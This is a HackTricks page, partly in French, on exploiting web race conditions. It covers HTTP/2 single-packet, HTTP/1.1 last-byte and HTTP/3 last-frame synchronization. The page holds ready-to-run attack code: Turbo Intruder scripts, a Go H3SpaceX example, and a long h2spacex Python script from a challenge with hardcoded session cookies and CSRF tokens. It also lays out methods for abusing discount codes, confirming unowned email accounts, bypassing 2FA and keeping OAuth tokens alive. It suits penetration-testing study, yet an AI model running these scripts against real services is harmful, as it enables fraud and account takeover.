Race Condition
Reading time: 18 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
warning
Pour une compréhension approfondie de cette technique, consultez le rapport original à https://portswigger.net/research/smashing-the-state-machine
Enhancing Race Condition Attacks
Le principal obstacle pour exploiter les race conditions est de s'assurer que plusieurs requĂȘtes soient traitĂ©es en mĂȘme temps, avec une diffĂ©rence de temps de traitement trĂšs faible â idĂ©alement, moins de 1 ms.
Vous trouverez ici quelques techniques pour synchroniser des requĂȘtes :
HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- HTTP/2 : Permet d'envoyer deux requĂȘtes sur une seule connexion TCP, rĂ©duisant l'impact du jitter rĂ©seau. Cependant, en raison des variations cĂŽtĂ© serveur, deux requĂȘtes peuvent ne pas suffire pour un exploit de race condition fiable.
- HTTP/1.1 'Last-Byte Sync' : Permet de prĂ©-envoyer la majeure partie de 20â30 requĂȘtes, en retenant un petit fragment, qui est ensuite envoyĂ© simultanĂ©ment, obtenant une arrivĂ©e simultanĂ©e au serveur.
Préparation pour Last-Byte Sync implique :
- Envoyer les headers et le body moins le dernier octet sans terminer le stream.
- Faire une pause de 100 ms aprĂšs l'envoi initial.
- Désactiver TCP_NODELAY pour utiliser Nagle's algorithm afin d'agréger les frames finales.
- Envoyer des pings pour chauffer la connexion.
L'envoi ultérieur des frames retenues devrait aboutir à leur arrivée dans un seul paquet, vérifiable avec Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC.
HTTP/3 LastâFrame Synchronization (QUIC)
- Concept : HTTP/3 repose sur QUIC (UDP). Il n'y a pas de coalescence TCP ni de Nagle sur lesquels s'appuyer, donc le classic lastâbyte sync ne fonctionne pas avec les clients standard. Ă la place, il faut sciemment coalescer plusieurs frames DATA de fin de stream QUIC (FIN) dans le mĂȘme datagramme UDP afin que le serveur traite toutes les requĂȘtes ciblĂ©es dans la mĂȘme unitĂ© d'ordonnancement.
- How to do it : Utiliser une librairie dĂ©diĂ©e qui expose le contrĂŽle des frames QUIC. Par exemple, H3SpaceX manipule quic-go pour implĂ©menter HTTP/3 lastâframe synchronization pour les requĂȘtes avec body et les requĂȘtes de type GET sans body.
- Requestsâwithâbody : envoyer HEADERS + DATA moins le dernier octet pour N streams, puis flush le dernier octet de chaque stream ensemble.
- GETâstyle : fabriquer de faux frames DATA (ou un petit body avec ContentâLength) et terminer tous les streams dans un seul datagramme.
- Practical limits :
- La concurrence est limitée par le paramÚtre de transport QUIC max_streams du pair (similaire à SETTINGS_MAX_CONCURRENT_STREAMS de HTTP/2). S'il est bas, ouvrir plusieurs connexions H3 et répartir la course entre elles.
- La taille du datagramme UDP et le path MTU limitent le nombre de frames de fin de stream que vous pouvez coalescer. La librairie gÚre la séparation en plusieurs datagrammes si nécessaire, mais un flush en un seul datagramme est le plus fiable.
- Practice : Il existe des labs publics H2/H3 sur les races et des exploits d'exemple accompagnant H3SpaceX.
HTTP/3 lastâframe sync (Go + H3SpaceX) minimal example
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}
S'adapter Ă l'architecture du serveur
Comprendre l'architecture de la cible est crucial. Les front-end servers peuvent router les requĂȘtes diffĂ©remment, ce qui modifie les temps de rĂ©ponse. Un connection warming cĂŽtĂ© serveur, effectuĂ© par des requĂȘtes sans consĂ©quence, peut normaliser le timing des requĂȘtes.
Gestion du verrouillage basé sur la session
Les frameworks comme PHP's session handler sĂ©rialisent les requĂȘtes par session, ce qui peut masquer des vulnĂ©rabilitĂ©s. Utiliser des session tokens diffĂ©rents pour chaque requĂȘte peut contourner ce problĂšme.
Contourner les limites de débit ou de ressources
Si le connection warming est inefficace, provoquer volontairement des dĂ©lais liĂ©s aux limites de dĂ©bit ou de ressources des web servers via une inondation de requĂȘtes factices peut faciliter le single-packet attack en induisant un dĂ©lai cĂŽtĂ© serveur favorable aux race conditions.
Exemples d'attaque
- Turbo Intruder - HTTP2 single-packet attack (1 endpoint): You can send the request to Turbo intruder (
Extensions
->Turbo Intruder
->Send to Turbo Intruder
), you can change in the request the value you want to brute force for%s
like incsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
and then select theexamples/race-single-packer-attack.py
from the drop down:
.png)
If you are going to send different values, you could modify the code with this one that uses a wordlist from the clipboard:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
warning
Si le web ne supporte pas HTTP2 (seulement HTTP1.1), utilisez Engine.THREADED
ou Engine.BURP
au lieu de Engine.BURP2
.
- Turbo Intruder - HTTP2 single-packet attack (Several endpoints): Si vous devez envoyer une requĂȘte vers 1 endpoint puis plusieurs vers d'autres endpoints pour dĂ©clencher le RCE, vous pouvez modifier le script
race-single-packet-attack.py
avec quelque chose comme :
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- C'est aussi disponible dans Repeater via la nouvelle option 'Send group in parallel' dans Burp Suite.
- Pour limit-overrun vous pouvez simplement ajouter la same request 50 times dans le group.
- Pour connection warming, vous pouvez add au beginning du group quelques requests vers une partie non statique du serveur web.
- Pour delaying le processus between le traitement one request and another dans des étapes en 2 substates, vous pouvez add extra requests between les deux requests.
- Pour un RC multi-endpoint vous pouvez commencer Ă envoyer la request qui goes to the hidden state puis 50 requests juste aprĂšs elle qui exploits the hidden state.
.png)
- Automated python script: L'objectif de ce script est de changer l'email d'un utilisateur tout en le vĂ©rifiant continuellement jusqu'Ă ce que le verification token du nouvel email arrive Ă l'ancien email (c'est parce que dans le code on observait un RC oĂč il Ă©tait possible de modifier un email mais que la verification Ă©tait envoyĂ©e Ă l'ancien parce que la variable indiquant l'email Ă©tait dĂ©jĂ initialisĂ©e avec le premier).
Quand le mot "objetivo" est trouvé dans les emails reçus, nous savons que nous avons reçu le verification token de l'email modifié et nous mettons fin à l'attaque.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Turbo Intruder: notes sur le moteur et le gating
- Engine selection: use
Engine.BURP2
on HTTP/2 targets to trigger the singleâpacket attack; fall back toEngine.THREADED
orEngine.BURP
for HTTP/1.1 lastâbyte sync. gate
/openGate
: queue many copies withgate='race1'
(or perâattempt gates), which withholds the tail of each request;openGate('race1')
flushes all tails together so they arrive nearly simultaneously.- Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
- Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable
TCP_NODELAY
to encourage batching of the final frames.
AmĂ©lioration du singleâpacket attack
Dans la recherche originale il est expliquĂ© que cette attaque a une limite de 1,500 bytes. Cependant, dans this post, il est expliquĂ© comment il est possible d'Ă©tendre la limitation de 1,500 bytes du single packet attack Ă la 65,535 B window limitation of TCP by using IP layer fragmentation (en scindant un paquet unique en plusieurs paquets IP) et en les envoyant dans un ordre diffĂ©rent, ce qui empĂȘche le rĂ©assemblage du paquet tant que tous les fragments n'ont pas atteint le serveur. Cette technique a permis au chercheur d'envoyer 10,000 requĂȘtes en environ 166ms.
Notez que, bien que cette amĂ©lioration rende l'attaque plus fiable pour les RC nĂ©cessitant des centaines/milliers de paquets arrivant en mĂȘme temps, elle peut aussi rencontrer des limitations logicielles. Certains serveurs HTTP populaires comme Apache, Nginx et Go ont un paramĂštre strict SETTINGS_MAX_CONCURRENT_STREAMS
fixé à 100, 128 et 250. En revanche, d'autres comme NodeJS et nghttp2 l'ont illimité.
Cela signifie essentiellement qu'Apache ne considĂ©rera que 100 connexions HTTP au sein d'une mĂȘme connexion TCP (limitant cette RC attack). Pour HTTP/3, la limite analogue est le paramĂštre de transport max_streams de QUIC â si c'est petit, spread your race across multiple QUIC connections.
Vous pouvez trouver des exemples utilisant cette technique dans le repo https://github.com/Ry0taK/first-sequence-sync/tree/main.
Raw BF
Avant la recherche précédente, voici quelques payloads utilisés qui essayaient simplement d'envoyer les paquets aussi vite que possible pour provoquer un RC.
- Repeater: Consultez les exemples de la section précédente.
- Intruder: Envoyez la request vers Intruder, réglez le number of threads sur 30 dans le Options menu, sélectionnez comme payload Null payloads et générez 30.
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
RC Methodology
Limit-overrun / TOCTOU
This is the most basic type of race condition where vulnerabilities that appear in places that limit the number of times you can perform an action. Like using the same discount code in a web store several times. A very easy example can be found in this report or in this bug.
There are many variations of this kind of attack, including:
- Redeeming a gift card multiple times
- Rating a product multiple times
- Withdrawing or transferring cash in excess of your account balance
- Reusing a single CAPTCHA solution
- Bypassing an anti-brute-force rate limit
Hidden substates
Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or unintended machine substates. Hereâs how to approach this:
- Identify Potential Hidden Substates
- Start by pinpointing endpoints that modify or interact with critical data, such as user profiles or password reset processes. Focus on:
- Storage: Prefer endpoints that manipulate server-side persistent data over those handling data client-side.
- Action: Look for operations that alter existing data, which are more likely to create exploitable conditions compared to those that add new data.
- Keying: Successful attacks usually involve operations keyed on the same identifier, e.g., username or reset token.
- Conduct Initial Probing
- Test the identified endpoints with race condition attacks, observing for any deviations from expected outcomes. Unexpected responses or changes in application behavior can signal a vulnerability.
- Demonstrate the Vulnerability
- Narrow down the attack to the minimal number of requests needed to exploit the vulnerability, often just two. This step might require multiple attempts or automation due to the precise timing involved.
Time Sensitive Attacks
Precision in timing requests can reveal vulnerabilities, especially when predictable methods like timestamps are used for security tokens. For instance, generating password reset tokens based on timestamps could allow identical tokens for simultaneous requests.
To Exploit:
- Use precise timing, like a single packet attack, to make concurrent password reset requests. Identical tokens indicate a vulnerability.
Example:
- Request two password reset tokens at the same time and compare them. Matching tokens suggest a flaw in token generation.
Check this PortSwigger Lab to try this.
Hidden substates case studies
Pay & add an Item
Check this PortSwigger Lab to see how to pay in a store and add an extra item you that won't need to pay for it.
Confirm other emails
The idea is to verify an email address and change it to a different one at the same time to find out if the platform verifies the new one changed.
Change email to 2 emails addresses Cookie based
According to this research Gitlab was vulnerable to a takeover this way because it might send the email verification token of one email to the other email.
Check this PortSwigger Lab to try this.
Hidden Database states / Confirmation Bypass
If 2 different writes are used to add information inside a database, there is a small portion of time where only the first data has been written inside the database. For example, when creating a user the username and password might be written and then the token to confirm the newly created account is written. This means that for a small time the token to confirm an account is null.
Therefore registering an account and sending several requests with an empty token (token=
or token[]=
or any other variation) to confirm the account right away could allow to confirm an account where you don't control the email.
Check this PortSwigger Lab to try this.
Bypass 2FA
The following pseudo-code is vulnerable to race condition because in a very small time the 2FA is not enforced while the session is created:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
Persistance éternelle OAuth2
There are several OAUth providers. Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the client will need to permit your application to access some of their data inside of the OAUth provider.
Donc, jusqu'ici c'est juste un login classique avec google/linkedin/github... oĂč on vous affiche une page disant : « Application
Race Condition in authorization_code
Le problĂšme survient quand vous l'acceptez et qu'un authorization_code
est automatiquement envoyé à l'application malveillante. Ensuite, cette application abuse d'une Race Condition dans le service provider OAuth pour générer plus d'un AT/RT (Authentication Token/Refresh Token) à partir du authorization_code
de votre compte. En pratique, elle profite du fait que vous avez autorisé l'application à accéder à vos données pour créer plusieurs comptes. Puis, si vous retirez l'autorisation pour l'application, une paire d'AT/RT sera supprimée, mais les autres resteront valides.
Race Condition in Refresh Token
Une fois que vous avez obtenu un RT valide, vous pouvez tenter de l'abuser pour gĂ©nĂ©rer plusieurs AT/RT, et mĂȘme si l'utilisateur rĂ©voque les permissions accordĂ©es Ă l'application malveillante pour accĂ©der Ă ses donnĂ©es, plusieurs RT resteront valides.
RC dans WebSockets
- Dans WS_RaceCondition_PoC vous trouverez un PoC en Java permettant d'envoyer des messages WebSocket en parallÚle pour exploiter des Race Conditions également dans les Web Sockets.
- Avec WebSocket Turbo Intruder de Burp vous pouvez utiliser le moteur THREADED pour lancer plusieurs connexions WS et envoyer des payloads en parallĂšle. Commencez par l'exemple officiel et ajustez
config()
(nombre de threads) pour la concurrence ; c'est souvent plus fiable que de grouper sur une seule connexion lorsqu'il s'agit de provoquer une Race Condition sur l'état cÎté serveur via les handlers WS. Voir RaceConditionExample.py.
References
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
- https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocketTurboIntruder â GitHub
- RaceConditionExample.py
- H3SpaceX (HTTP/3 lastâframe sync) â Go package docs
- PacketSprinter: Simplifying HTTP/2 SingleâPacket Testing (Route Zero blog)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.